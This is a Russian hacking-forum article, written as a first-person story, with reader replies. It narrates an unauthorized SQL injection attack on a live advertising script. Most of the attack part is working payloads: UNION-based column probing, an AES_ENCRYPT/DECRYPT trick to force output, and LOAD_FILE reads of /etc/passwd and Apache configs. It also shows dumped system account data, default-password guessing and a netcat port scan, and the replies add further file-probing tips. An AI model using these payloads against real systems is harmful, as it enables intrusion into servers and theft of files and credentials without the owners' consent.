ЕСЛИ ТЫ ЗНАЕШЬ КАК ПРОВОДИТЬ скуль инжект, как форматировать вывод текста во время инъекции, где искать логи, как находить полный путь к web, как сканить порты неткатом, как юзать штатные утилиты консольные и нормально знаешь структуру файловую Unix-like операционных систем - то, сделай одолжение, НЕ ЧИТАЙ СТАТЬЮ, чтобы потом не писать всякий бред, что это баян, что цвет не такой и т. п.!! Сразу, опять же, хочу предупредить, что статья не представляет никакого интереса для членов закрытых разделов, но может быть интересна, тем, кто в закрытых разделах не состоит. Так что лучше всяким MOA и выше на нее время даже и не тратить. Все равно ничего нового. Статья написана в форме мини-рассказика, просто потому, что меня не прикалывает читать всякие мануалы по SQL-инжекту и т. п., ибо я, по-своей природе гуманитарий, и меня не втыкает читать всякие стандарты протоколов, разибраться во всяких патч-кордах, свитчах и т. п. И, не смотря на то, что у нас технический форум, мне кажется, что подобная форма подачи информации более эффективна в целях ее усваивания, да и просто, в отличие, от RFC, не так сильно спать хочется. Холодное, дождливое утро смотрело на меня из открытой форточки, а я смотрел на монитор и думал: "А что сегодня обещали по прогнозу погоды?" Вообще говоря, я не верю ни погоде, ни ее предсказателям, но на сайт с прогнозами зайти решил. Тут вдруг внезапно вспомнился сайт, упоминания о котором я несколько раз встречал на различных популярных сайтах. Захожу на сайт. Внешний вид у него подобает сегодняшней погоде. Скриптов немного. Они серые и унылые. Лениво поигрался с адресной строкой. Решил, по всем канонам жанра, вбить кавычку в поиск и заодно включил любимый плагин HTTPLiveHeaders, чтобы последить за заголовками. Из заголовка первого запроса почерпнул только то, что как версия PHP, как и сам аpache были далеко не новыми. Прокуртив окошко чуть ниже, замечаю обращение к следующему сайту: s.site.ru следующего вида: http://s.site.ru/show.php?pg=1&pl=1&bt=2&82689 Зайдя браузером по ссылке, я обнаружил какой-то скрипт вывода рекламы. То есть я вижу белое окошко и посредине её - ссылка. Что ж - реклама, с этической точки зрения - это зло, поищем корень зла ;-) http://s.site.ru/show.php?pg=1&pl=1&bt=2'&82689 Реклама исчезла, что не может не радовать (жаль, что только у меня в браузере...) http://s.site.ru/show.php?pg=1&pl=1&bt=2--&82689 Реклама появилась. http://s.site.ru/show.php?pg=1&pl=1&bt=2+and(1=1)--&82689 Все еще тут. http://s.site.ru/show.php?pg=1&pl=1&bt=2+and(1=0)--&82689 Исчезла. Скуля. Дальше перехожу на метод POST и пробую мой любимый: pg=1&pl=1&bt=2+order+by+1--&82689 pg=1&pl=1&bt=2+order+by+99--&82689 Разницы нет =(( "Неужели фейковая скуля?" - подумал я. pg=1&pl=1&bt=2+and(1=(select+1))--&82689 Вот так вот реклама видна опять. Так тоже: pg=1&pl=1&bt=2+and+1=1--&82689 А так - уже нет. Скорее всего, фильтрация кавычек. pg=1&pl=1&bt=2+and+'1'='1'--&82689 Я подумал, странно, что конструкция order by не работает, ведь по всем показателям скуля есть, а ордер бай не работает. Сразу скажу, я встречал такое и раньше. Когда такое бывает - сказать точно не могу, может быть просто корявый фильтр, а скорее всего, неизвестные мне особенности синтаксиса. Но суть не в этом. А в том, что я решил тупо поперебирать количество колонок при помощи union. pg=1&pl=1&bt=2+union+select+1--&82689 Ничего не было.. А вот на pg=1&pl=1&bt=2+union+select+1,2,3,4,5--&82689 мне повезло, и я увидел пятёрочку, подсвеченную как ссылка ))) "Прогресс!" - подумал я. Стоит заметить, что мне повезло, хотя я допустил маленький просчёт. Я мог бы не получить вывода, т. к. левая часть SQL запроса корректна. Для этого мне нужно было сделать либо так: pg=1&pl=1&bt=-2+union+select+1--&82689 И перебирать... Либо так: pg=1&pl=1&bt=2+and(1=0)+union+select+1--&82689 Еще один интересный момент. При таком запросе: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,333,4,666--&82689 если кликнуть правой кнопкой тачпада на ссылочке и выбрать свойства (там рисунок, видать - просто у меня они отключены), то можно заметить ссылочку вида http://s.site.ru/ban/333 Попробовал я втюхнуть version() вместо 333, но вывода не было, как и вместо 666. Либо там не mysql, либо просто тип у поля не символьный. Но, так как мне казалось, судя по ответам сервера на мои запросы, что там MySQL я сразу решил заюзать фичу, известную каждому с пелёнок: закодировать и раскодировать вывод. В итоге, я составил вот такой вот запрос: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(666,0x85),0x85)--&82689 0x85 - это ключ шифрования. Он может быть и просто 1. pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(666,1),1)--&82689 Сервак немного подумал... (наверное, не понял зачем это кодировать и сразу раскодировать) и выплюнул версию: 4.1.1-alpha-standard Конечно, не пятая ветка, но тоже весьма неплохо. Далее, действуем по заезженому в хлам сценарию (concat() и concat_ws() не хотели работать): Запрос: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(database(),1),1)--&82689 Ответ: ad Запрос: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user(),1),1)--&82689 Ответ: root@localhost Оооо... Такого поворота событий мы не ожидали, ну что ж... Уж не знаю, что там пишет сайт о погоде, но погода сегодня точно лётная. Для начала, проверим, какими базами мы сможем покормиться: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(31337,1),1)+from+mysql.db--&82689 pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(name,1),1)+from+mysql.db--&82689 ПОэтому пришлось тупо перебирать имена юзеров: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+mysql.user+limit+1,1--&82689 ..... pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+mysql.user+limit+2,1--&82689 Крому рута юзеры не появились... Неужели их не было? Ладно, читаем файлы: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),1),1)+from+mysql.user+limit+4,1--&82689 Неужели нет прав на passwd? =( Попробовал /etc/shells: Вывода не оказалось. pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),1),1)+from+mysql.user+limit+4,1--&82689 Тогда я попробовал: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(1,1),1)+from+mysql.user+limit+4,1--&82689 1 тоже не было! Как там!? - возмутился я. А потом заметил, что это все долбаный limit мне портит, и юзеров там много, просто их надо выводить не limit'ом! Вот такой запрос: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),1),1)+from+mysql.user--&82689 Уже показал мне внутренности сервачка: root:x:0:0:System Administrator:/root:/bin/bash bin:x:1:1:bin:/:/dev/null daemon:x:2:2:daemon:/:/dev/null adm:x:3:4:adm:/var/adm:/dev/null ........ ........ nmapuser:x:111:117::/dev/null:/dev/null sshd:x:112:118::/:/dev/null slocate:x:113:21::/dev/null:/dev/null tcpdump:x:114:119::/dev/null:/dev/null abp:x:500:500:abp:/home/abp:/bin/bash akor:x:501:501::/home/akor:/bin/bash ntpd:x:115:34::/dev/null:/dev/null vsftpd:x:116:35::/var/ftp:/dev/null novsftpd:x:117:36::/dev/null:/dev/null Ну что мне сразу бросилось в глаза... 1) Демон ftpd - VsFTPd 2) Вские там nmapd, squid, apached. 3) Юзеров с /bin/bash немного, но нам, надеюсь, хватит ;-) Это: -root (само собой) -abp -akor Вывод как всегда был сплошняком. Меня постоянно напрягала такая ситуация просмотра исходников страницы, и сегодня я решил положить ей конец =). Я долго мучался, как отформатировать вывод, выбирая между \n \r\n <br> и т. п., портом заметил, что вывод идет в значении параметра тега, то есть его надо закрыть. В итоге пришел вот к такой конструкции: "></br> Запрос, соотвественно: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(REPLACE(LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),0x0a,0x223e3c2f62723e),1),1)+from+mysql.user--&82689 Теперь вывод красивый, только выравнивание по центру, а не по ширине... =) Но это, правда, и не Word, так что меня вполне устроило. Начём с цифры 3). Попробуем прочитать .bash_history. Рутовская /root/.bash_history читаться не стала, пробуем 2х других юзеров: /home/abp/.bash_history /home/akor/.bash_history Ни одна из хисторей не читалась: либо не было прав, либо владельцы файлов юзают логвайперы ;-) приступим к пункту 2) Ищем конфиг апача. Первым делом смотрим на домашнюю директорию юзера apache: /var/www Пробуем так: /var/www/conf/httpd.conf Далее, пробуем стандарт: /usr/local/apache/conf/httpd.conf Далее были перепробованы следующие варианты: /usr/httpd/conf/httpd.conf /usr/www/conf/httpd.conf /usr/httpd/httpd.conf /usr/www/httpd.conf /usr/apache/conf/httpd.conf /etc/apache/conf/httpd.conf /etc/apache/httpd.conf /etc/httpd/conf/httpd.conf последний вариант ответил нам сниненьким шрифтом ). pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(REPLACE(LOAD_FILE(char(47,101,116,99,47,104,116,116,112,100,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102)),0x0a,0x223e3c2f62723e),1),1)+from+mysql.user-- Дальше, просматривая апач, ищу: - строку AuthUserFile - строку .htpasswd - строку .htaccess - строку Include Ничего из этого сказано не было. - директиву DocumentRoot (для расширения кругозора ;-)): DocumentRoot "/var/www/html" - User User akor У этого юзера я хистори прочитать не смог (.bash_history), значит, она пуста. Либо права на файл - рутовские. Попробую почитать .mysql_history Неа.. =( Virtual hosts Отсюда мы узнаем, что за хосты есть на сервере. Нахожу какой-то 4го уровня домен. Он не грузится. Корневой же открывается, и я узнаю, что это провайдер. Дальше при помощи утилиты nslookup я выясняю, что сайт провайдера имеет IP, отличный, от найденного 4го уровня в конфиге. Дальше, при помощи reverse-ip узнаю, что на исходном сайте, находится 4 поддомена нашего сайта. И IP адрес его отличается от самого site.ru на единичку и на целые 255.255.*.* от найденного домена провайдера 4го уровня. Чудеса. Попробую traceroute, могет поможет. Сигнал ушел в таймаут после домена HX-2-Gi3-256.sc.provaider.ru. Напрямую через web он грузится, но ничего не отображает. Видимо это какой-то фаерволл. Проверив IP этого домена, выяснил, что он тоже находится в сети класса В (или не B - забываю я мат. часть ). Погуглив по запросу HX-2-Gi3-256, вяснил, что у кого-то трассировка прошла далее, чем у меня и остановилась на домене провайдера. Просмотрев /etc/hosts не обнаружил ничего, кроме локалхоста =( Вообщем, запутался я в их топологии, ну да и хрен с ней. Пойду дальше смотреть, что там за сайты. Кстати, DocumentRoot /home/akor/ad ServerName graphic.rs.provaider.ru Кроме него, в конфиге ничего не нашел. лог ошибок хранился в ErrorLog logs/error_log но при обращении к файлу /etc/httpd/logs/error_log я ничего не увидел. Ну что ж.... Попробуем еще один вариант: 1) - поищем кофниг ftpd демона. Смотрим домашнюю директорию демона: /var/ftp B пробуем искать в ней: /var/ftp/conf/vsftpd.conf /var/ftp/vsftpd.conf /etc/vsftpd.conf /etc/ftpd/vsftpd.conf Ничего из этого читаться не хотелось (( Был там еще и прокси Squid, но для него искать конфиги было в лом. Решил напоследок просканить открытые порты. nc -v -z -w2 s.site.ru 1-3306 s.site.ru [213.68.138.19] 80 (http) open Вот тебе и ftpd =( Ну что ж... Из простых вариантов у меня осталось только 3: 1) Каким-нибудь способом перебрать юзеров и их пароли из mysql.user; 2) поискать таблицы дрцгие в базе; 3) Выяснить полный путь к сайт с бажным скриптом, потом просканить все найденные на сервере сайты, и оппробовать почитать что-нибудь интересное; 4) Поискать конфиги, но не с целью инклуда, а с целью поиска возможных ссылок на файлы с паролями. 1) pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+mysql.user+where+user+like+char(114,111,111,116)-- Вывело root. pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+mysql.user+where+user+not+like+char(114,111,111,116)-- Ничего не вывело. Получается юзер только рут. Дальше я попробовал погуглить по inurl:s.site.ru и, даже не запуская сканирования, нашел вход в админку. s.site.ru/admin/index.php NB не спрашивайте, почему я не пробовал этого раньше). Что интересно, гугл выдал мне веб-форму авторизации, а когда я зашел, то там уже была Basic авторизация. Иначе говоря, если была web-форма, составленная коряво, где параметры передаются методом GET, то в логах можно было бы поискать пассворды. А сейчас мы будем искать .htaccess. Но для этого нам нужен полный путь, предварительно проверив авторизацию по парам: admin:admin adminassword test:test admin:stat (как я выяснил, сайт отвечал за статистику) И т. п. Ищем полный путь. 1) Через гугл inurl:s.site.ru Warning site:s.site.ru Error site:s.site.ru Error 2) Поизвращаться с параметрами pg=1&pl=1&bt[]=2 3) Попробовать передать переменную, которая изначально GET методом POST. Такое тоже бывает. Но, судя по тому, что при корявых запросах к базе ошабки не выводились, скорее всего они не будут выводиться и для ошибок в php. Вообщем, полный путь я не нашел. А вот если бы нашел.... то прочитал бы .htaccess и поал бы в админку..(( Но, увы и ах. Тут я опять спалил, что я невнимателен, и забыл приписать в POST запросе, в заголовке Content-type: application/x-www-form-urlencoded (это особенность плагина HTTPLiveHeaders для FireFox) Посе этого: pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(444,1),1)+from+users-- 444 - успешно отобразилось. Это не может не радовать. поищем колонки. pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(username,1),1)+from+users-- Неа. pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+users-- Неа. pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(login,1),1)+from+users-- Можно было бы, конечно, запустить скриптик для брута, но я их не люблю (хотя, это дурацкая привычка Надо стремиться все автоматизировать! Если, конечно, понимаешь, что ты автоматизируешь...) Очень часто имена колонок можно узнать из исходников страницы с веб формой авторизации. <input name="u" Что ж, попробуем. pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(u,1),1)+from+users-- Тоже ноль. =( Вообщем, скрипта для брута я тоже найти не смог, как и полного пути. На этом мои половые отношения с сайтом закончились. А жаль. Тут я зашел на ачат, чтобы запостить свое приключение и увидел на главной ссылку на SQL-injection tool. Сам не пробовал, но отзывы написаны неплохие, значит как минимум функции брута в ней есть. Заценим. Вообщем, до брута я не дошел, т.к. (может я косо смотрел) поддержки соксов я там не нашёл. А жаль. Кстати, единственное, что я не успел попробовать - это просто вставить имя бажного скрипта в путь к домашней директории обоих юзеров и попробовать почитать. Может бы и нашелся путь к нашему бажному скрипту. За сим прощаюсь, и пребываю вечно Вашим. 1ten0.0net1. PPS А вы что думали, я порутаю сервак или залью шелл? Нееееттт.... не всё так просто, и я предупреждал об этом в начале). Поэтому и в названии указал, не взлом, а атаку - так как атака могет быть как успешной, так и нет.
Блин, ну кто же ты у нас то 1 или 0. Не плохо написал, надо было погодку то поправить на сайте то... может бы и не было дождя
зато приятно, когда тебя 100 тыс человек с бумаги читает.. а потом кучу писем получать на ящик с просьбами помочь взломать интернет..)) вот интересно, на сколько денег ты сам оцениваешь свою статью? )
Считаю, что нельзя оценивать, т. к. нет достаточного уровня художественности, необходимого для бульварного чтива, а многие моменты слишком описаны бегло, для чтива технического. concat() и concat_ws() не хотели работать Не верю (с) =) 2 Spyder. Прокомментировать никак не могу - как я написал, там и order by отказался работать, почему не знаю.
Так... дальнейший флуд по поводу цвета текста в статье, и почему она не в хакере, будет удаляться с выставлением минусов по возможности Имхо цвет щас в норме, всё норм. читается...
Эх я то думал, что тут до рута дело дойдет, а статья так неожиданно оборвалась :d У меня у самого таких незавершенных взломов дофигища, хз что с ними делать Статью с удовольствием прочитал, гуд!
еще бывало, когда httpd.conf не открывался, но открывался httpd.conf.bak или httpd.conf.bakup, а там были как раз пути под Include.